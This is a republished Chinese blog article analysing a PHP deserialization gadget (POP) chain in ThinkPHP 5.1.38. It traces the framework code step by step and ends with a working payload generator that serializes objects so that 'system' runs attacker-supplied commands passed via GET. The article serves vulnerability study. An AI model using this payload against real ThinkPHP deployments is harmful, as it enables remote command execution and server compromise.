经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 程序设计 » PHP » 查看文章
ThinkPHP v5.1.x POP 链分析
来源:cnblogs  作者:程序媛的明天  时间:2019/11/11 9:02:35  对本文有异议

环境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔术方法并巧妙构造特殊属性调用一系列函数或类方法以执行某种敏感操作的调用堆栈反序列化常用魔法函数


前言
我所理解的 POP Chain:
利用魔术方法并巧妙构造特殊属性调用一系列函数或类方法以执行某种敏感操作的调用堆栈

反序列化常用魔法函数

    1. 1 __wakeup unserialize() 执行前调用
    2. 2 __destruct 对销毁的时候调用
    3. 3 __toString 类被当成字符串时的回应方法
    4. 4 __construct(),当对象创建(new)时会自动调用,注意在
    5. 5 unserialize()时并不会自动调用
    6. 6 __sleep(),serialize()时会先被调用
    7. 7 __call(),在对象中调用一个不可访问方法时调用
    8. 8 __callStatic(),用静态方式中调用一个不可访问方法时调用
    9. 9 __get(),获得一个类的成员变量时调用
    10. 10 __set(),设置一个类的成员变量时调用
    11. 11 __isset(),当对不可访问属性调用isset()或empty()时调用
    12. 12 __unset(),当对不可访问属性调用unset()时被调用。
    13. 13 __wakeup(),执行unserialize()时,先会调用这个函数
    14. 14 __toString(),类被当成字符串时的回应方法
    15. 15 __invoke(),调用函数的方式调用一个对象时的回应方法
    16. 16 __set_state(),调用var_export()导出类时,此静态方法会被调用。
    17. 17 __clone(),当对象复制完成时调用
    18. 18 __autoload(),尝试加载未定义的类
    19. 19 __debugInfo(),打印所需调试信息

     

 

phar 文件通过 phar:// 伪协议拓宽攻击面 因为 phar 文件会以序列化的形式存储用户自定义的meta-data,所以在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作,深入了解请至:https://paper.seebug.org/680/

如果对反序列化没有了解的话建议先学习下相关内容ThinkPHP v5.1.x POP 链分析安装这里使用的是官方 ThinkPHP V5.1.38composer 部署composer create-project topthink/think=5.1.38 tp5.1.38利用链全局搜索函数 __destruct

来到 /thinkphp/library/think/process/pipes/Windows.php

    1. 1 public function __destruct()
    2. 2 {
    3. 3 $this->close();
    4. 4 $this->removeFiles();
    5. 5 }
    6. 6 . . . . . .
    7. 7 /**
    8. 8 * 删除临时文件
    9. 9 */
    10. 10 private function removeFiles()
    11. 11 {
    12. 12 foreach ($this->files as $filename) {
    13. 13 if (file_exists($filename)) {
    14. 14 @unlink($filename);
    15. 15 }
    16. 16 }
    17. 17 $this->files = [];
    18. 18 }

     

 

看下 file_exists 的描述f

    1. 1 ile_exists ( string $filename )
复制代码

: bool如果传入的 $filename 是个反序列化的对象,在被 file_exists 当作字符串处理的时候就会触发其 __toString 方法(如果有的话)所以下面就是找含 __toString 方法的类

来到 /thinkphp/library/think/model/concern/Conversion.php

    1. 1 public function toJson($options = JSON_UNESCAPED_UNICODE)
    2. 2 {
    3. 3 return json_encode($this->toArray(), $options);
    4. 4 }
    5. 5 . . . . . .
    6. 6 public function __toString()
    7. 7 {
    8. 8 return $this->toJson();
    9. 9 }

     

 

可以看到,在 toJson() 函数中又调用了 toArray() 函数如果 toArray() 函数中存在并使用某个可控变量的方法,那么我们就可以利用这点去触发其他类的 __call 方法下面是 toArray() 函数的定义,$this->append 作为类属性是可控的,所以 $relation 和 $name 也就可控了,于是 $relation->visible($name); 就成了这个 POP 链中的中间跳板

phper在进阶的时候总会遇到一些问题和瓶颈,业务代码写多了没有方向感,不知道该从那里入手去提升,对此我整理了一些资料,包括但不限于:分布式架构、高可扩展、高性能、高并发、服务器性能调优、TP6,laravel,YII2,Redis,Swoole、Kafka、Mysql优化、shell脚本、Docker、微服务、Nginx等多个知识点高级进阶干货需要的可以免费分享给大家,需要的(点击→)我的官方群677079770https://jq.qq.com/?_wv=1027&k=5BoEMVl

    1. 1 public function toArray()
    2. 2 {
    3. 3 $item = [];
    4. 4 $hasVisible = false;
    5. 5 . . . . . .
    6. 6 // 追加属性(必须定义获取器)
    7. 7 if (!empty($this->append)) {
    8. 8 foreach ($this->append as $key => $name) {
    9. 9 if (is_array($name)) {
    10. 10 // 追加关联对象属性
    11. 11 $relation = $this->getRelation($key);
    12. 12 if (!$relation) {
    13. 13 $relation = $this->getAttr($key);
    14. 14 if ($relation) {
    15. 15 $relation->visible($name);
    16. 16 }
    17. 17 }
    18. 18 $item[$key] = $relation ? $relation->append($name)->toArray() : [];
    19. 19 } elseif (strpos($name, '.')) {
    20. 20 . . . . . .
    21. 21 } else {
    22. 22 $item[$name] = $this->getAttr($name, $item);
    23. 23 }
    24. 24 }
    25. 25 }
    26. 26 return $item;
    27. 27 }

     

 

那我们在这里应该传入怎么样的值以及什么数据呢,先看下 $relation 是如何处理得到的

跟进 getRelation,在 /thinkphp/library/think/model/concern/RelationShip.php 中找到函数定义

    1. 1 trait RelationShip
    2. 2 {
    3. 3 . . . . . .
    4. 4 /**
    5. 5 * 获取当前模型的关联模型数据
    6. 6 * @access public
    7. 7 * @param string $name 关联方法名
    8. 8 * @return mixed
    9. 9 */
    10. 10 public function getRelation($name = null)
    11. 11 {
    12. 12 if (is_null($name)) {
    13. 13 return $this->relation;
    14. 14 } elseif (array_key_exists($name, $this->relation)) {
    15. 15 return $this->relation[$name];
    16. 16 }
    17. 17 return;
    18. 18 }
    19. 19 . . . . . .
    20. 20 }

     

 

由于 getRelation 最终都会 return; 导致返回 NULL,所以 下面的 if (!$relation) 一定成立所以直接跟进后面的 getAttr,在 /thinkphp/library/think/model/concern/Attribute.php 找到其定义

    1. 1 trait Attribute
    2. 2 {
    3. 3 . . . . . .
    4. 4 public function getData($name = null)
    5. 5 {
    6. 6 if (is_null($name)) {
    7. 7 return $this->data;
    8. 8 } elseif (array_key_exists($name, $this->data)) {
    9. 9 return $this->data[$name];
    10. 10 } elseif (array_key_exists($name, $this->relation)) {
    11. 11 return $this->relation[$name];
    12. 12 }
    13. 13 throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    14. 14 }
    15. 15 . . . . . .
    16. 16 public function getAttr($name, &$item = null)
    17. 17 {
    18. 18 try {
    19. 19 $notFound = false;
    20. 20 $value = $this->getData($name);
    21. 21 } catch (InvalidArgumentException $e) {
    22. 22 $notFound = true;
    23. 23 $value = null;
    24. 24 }
    25. 25 . . . . . .
    26. 26 }
    27. 27 }

     

从 getAttr ---> getData 返回 data 数组中同名键值的元素值,即 $relation <---- $this->data[$name],我们需要的 $data 和 $append 分别位于 Attribute 和 Conversion,且两者都是 trait 类型Trait 可以说是和 Class 相似,是 PHP 5.4.0 开始实现的一种代码复用的方法,可以使用 use 加载

详情可以看官方手册 PHP: Trait - Manual

所以接下来是寻找一个同时使用了 Attribute 和 Conversion 的类

发现只有 /thinkphp/library/think/Model.php 满足条件

    1. 1 abstract class Model implements \JsonSerializable, \ArrayAccess
    2. 2 {
    3. 3 use model\concern\Attribute;
    4. 4 use model\concern\RelationShip;
    5. 5 use model\concern\ModelEvent;
    6. 6 use model\concern\TimeStamp;
    7. 7 use model\concern\Conversion;
    8. 8 . . . . . .
    9. 9 }

     

下面就需要找到一个没有 visible 方法却有 __call 方法的类作为执行点找到 /thinkphp/library/think/Request.php 中的 Request 类

    1. 1 class Request
    2. 2 {
    3. 3 . . . . . .
    4. 4 /**
    5. 5 * 扩展方法
    6. 6 * @var array
    7. 7 */
    8. 8 protected $hook = [];
    9. 9 . . . . . .
    10. 10 public function __call($method, $args)
    11. 11 {
    12. 12 if (array_key_exists($method, $this->hook)) {
    13. 13 array_unshift($args, $this);
    14. 14 return call_user_func_array($this->hook[$method], $args);
    15. 15 }
    16. 16 throw new Exception('method not exists:' . static::class . '->' . $method);
    17. 17 }
    18. 18 . . . . . .
    19. 19 }

     

这里的回调参数来源于 $hook 数组,而且方法名和参数都是可控的,不过 array_unshift 函数会把若干元素前置到数组的开头

    1. 1 $queue = array("orange", "banana");
    2. 2 array_unshift($queue, "apple", "raspberry");
    3. 3 print_r($queue);
    4. 4 ///
    5. 5 Array
    6. 6 (
    7. 7 [0] => apple
    8. 8 [1] => raspberry
    9. 9 [2] => orange
    10. 10 [3] => banana
    11. 11 )

     

这样的话明显就很难执行命令了,因为参数数组的第一个元素始终是 $this,无法直接执行我们想要的命令, 需要其他某种对参数不是这么敏感的函数作为一个新的执行点或者跳板Request 类中有一个 filterValue 函数具有过滤功能,寻找调用 filterValue 的地方以便控制 $value 和 $filters 好执行命令

    1. 1 private function filterValue(&$value, $key, $filters)
    2. 2 {
    3. 3 $default = array_pop($filters);
    4. 4 foreach ($filters as $filter) {
    5. 5 if (is_callable($filter)) {
    6. 6 // 调用函数或者方法过滤
    7. 7 $value = call_user_func($filter, $value);
    8. 8 } elseif (is_scalar($value)) {
    9. 9 . . . . . .
    10. 10 }
    11. 11 return $value;
    12. 12 }

     

Request 类中的 input 函数由 array_walk_recursive 调用了 filterValue,但是参数仍不可控,再往上寻找调用点看看

    1. 1 public function input($data = [], $name = '', $default = null, $filter = '')
    2. 2 {
    3. 3 if (false === $name) {
    4. 4 // 获取原始数据
    5. 5 return $data;
    6. 6 }
    7. 7 $name = (string) $name;
    8. 8 if ('' != $name) {
    9. 9 // 解析name
    10. 10 if (strpos($name, '/')) {
    11. 11 list($name, $type) = explode('/', $name);
    12. 12 }
    13. 13 $data = $this->getData($data, $name);
    14. 14 if (is_null($data)) {
    15. 15 return $default;
    16. 16 }
    17. 17 if (is_object($data)) {
    18. 18 return $data;
    19. 19 }
    20. 20 }
    21. 21 // 解析过滤器
    22. 22 $filter = $this->getFilter($filter, $default);
    23. 23 if (is_array($data)) {
    24. 24 array_walk_recursive($data, [$this, 'filterValue'], $filter);
    25. 25 if (version_compare(PHP_VERSION, '7.1.0', '<')) {
    26. 26 // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
    27. 27 $this->arrayReset($data);
    28. 28 }
    29. 29 } else {
    30. 30 $this->filterValue($data, $name, $filter);
    31. 31 }
    32. 32 . . . . . .
    33. 33 return $data;
    34. 34 }

     

复制代码

Request 类中的 param 函数调用了 input 函数,但同样参数不可控,再往上寻找调用点

    1. 1 public function param($name = '', $default = null, $filter = '')
    2. 2 {
    3. 3 . . . . . .
    4. 4 if (true === $name) {
    5. 5 // 获取包含文件上传信息的数组
    6. 6 $file = $this->file();
    7. 7 $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
    8. 8 return $this->input($data, '', $default, $filter);
    9. 9 }
    10. 10 return $this->input($this->param, $name, $default, $filter);
    11. 11 }

     

转到 isAjax 函数的定义

    1. 1 public function isAjax($ajax = false)
    2. 2 {
    3. 3 $value = $this->server('HTTP_X_REQUESTED_WITH');
    4. 4 $result = 'xmlhttprequest' == strtolower($value) ? true : false;
    5. 5 if (true === $ajax) {
    6. 6 return $result;
    7. 7 }
    8. 8 $result = $this->param($this->config['var_ajax']) ? true : $result;
    9. 9 $this->mergeParam = false;
    10. 10 return $result;
    11. 11 }

     

这里 $ajax 参数没有对类型的限制,而且 param 的参数来自 $this->config,是可控的,param 在最后所调用的 input 函数的 $this->param, $name 就都可控跟进 get 和 route 函数不难发现 $this->param 的值来自 GET 请求

    1. 1 // 当前请求参数和URL地址中的参数合并
    2. 2 $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
    3. 3 /*
    4. 4 http://127.0.0.1:9000/public/?test=pwd
    5. 5 $this->param = array("test"=>"pwd")
    6. 6 */

     

那么回到 input 函数看处理流程

首先 $this->getData($data, $name) 得到 $data,跟进分析,返回 $data 为 $data[$val] 的值,即 $data[$name]

    1. 1 protected function getData(array $data, $name)
    2. 2 {
    3. 3 foreach (explode('.', $name) as $val) {
    4. 4 if (isset($data[$val])) {
    5. 5 $data = $data[$val];
    6. 6 } else {
    7. 7 return;
    8. 8 }
    9. 9 }
    10. 10 return $data;
    11. 11 }

     

回到 input,接着处理 $filter = $this->getFilter($filter, $default);getFilter 的两个参数分别为 '' 和 null 且都不可控,但是跟进不难看出最后返回 $filter 的值就是 $this->filter,虽然后面 $filter[] = $default; 会给 filter 数组追加个值为 null 的元素,但后面 filterValue 中的 array_pop 函数正好给去掉了

    1. 1 protected function getFilter($filter, $default)
    2. 2 {
    3. 3 if (is_null($filter)) {
    4. 4 $filter = [];
    5. 5 } else {
    6. 6 $filter = $filter ?: $this->filter;
    7. 7 if (is_string($filter) && false === strpos($filter, '/')) {
    8. 8 $filter = explode(',', $filter);
    9. 9 } else {
    10. 10 $filter = (array) $filter;
    11. 11 }
    12. 12 }
    13. 13 $filter[] = $default;
    14. 14 return $filter;
    15. 15 }

     

这样就得到一条可控变量的函数调用链,最后执行命令

下面简单梳理下流程 通过 Windows 类 __destruct() 方法调用到 file_exists 触发某类的 __toString() 来到 toArray() 函数 通过控制分别位于 Attribute 和 Conversion 的 $data 和 $append 变量执行在 Request 中不存在的 visible 函数进而触发其 __call() 在 Request 通过控制 $hook $filter $config 三个变量的值注入最终的 callback 名称和参数,再经这么一系列函数调用执行命令

    1. 1 __call() ---> call_user_func_array() ---> isAjax() ---> param() ---> input() ---> filterValue() ---> call_user_func()

     

构造 Payload

由于 Model 类是 abstract 类型,无法实例化,而extends Model 的也只有一个 Pivot 类,所以就用它吧

    1. 1 <?php
    2. 2 namespace think;
    3. 3 abstract class Model
    4. 4 {
    5. 5 protected $append = [];
    6. 6 private $data = [];
    7. 7 function __construct(){
    8. 8 $this->append = ["a"=>[""]];
    9. 9 $this->data = ["a"=>new Request()];
    10. 10 }
    11. 11 }
    12. 12 namespace think\model;
    13. 13 use think\Model;
    14. 14 class Pivot extends Model
    15. 15 {
    16. 16 }
    17. 17 namespace think\process\pipes;
    18. 18 use think\model\Pivot;
    19. 19 class Windows
    20. 20 {
    21. 21 private $files = [];
    22. 22 public function __construct()
    23. 23 {
    24. 24 $this->files = [new Pivot()];
    25. 25 }
    26. 26 }
    27. 27 namespace think;
    28. 28 class Request
    29. 29 {
    30. 30 protected $hook = [];
    31. 31 protected $filter = "system";
    32. 32 protected $config = [
    33. 33 // 表单请求类型伪装变量
    34. 34 'var_method' => '_method',
    35. 35 // 表单ajax伪装变量
    36. 36 'var_ajax' => '_ajax',
    37. 37 // 表单pjax伪装变量
    38. 38 'var_pjax' => '_pjax',
    39. 39 // PATHINFO变量名 用于兼容模式
    40. 40 'var_pathinfo' => 's',
    41. 41 // 兼容PATH_INFO获取
    42. 42 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
    43. 43 // 默认全局过滤方法 用逗号分隔多个
    44. 44 'default_filter' => '',
    45. 45 // 域名根,如thinkphp.cn
    46. 46 'url_domain_root' => '',
    47. 47 // HTTPS代理标识
    48. 48 'https_agent_name' => '',
    49. 49 // IP代理获取标识
    50. 50 'http_agent_ip' => 'HTTP_X_REAL_IP',
    51. 51 // URL伪静态后缀
    52. 52 'url_html_suffix' => 'html',
    53. 53 ];
    54. 54 function __construct(){
    55. 55 $this->filter = "system";
    56. 56 $this->config = ["var_ajax"=>''];
    57. 57 $this->hook = ["visible"=>[$this,"isAjax"]];
    58. 58 }
    59. 59 }
    60. 60 use think\process\pipes\Windows;
    61. 61 echo base64_encode(serialize(new Windows()));

     

自己先构造一个利用点反序列化我们的内容,生成好 payload,GET 传入要执行的命令,命令别忘了 urlencode

查看调用堆栈

原文链接:http://www.cnblogs.com/a609251438/p/11831735.html

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号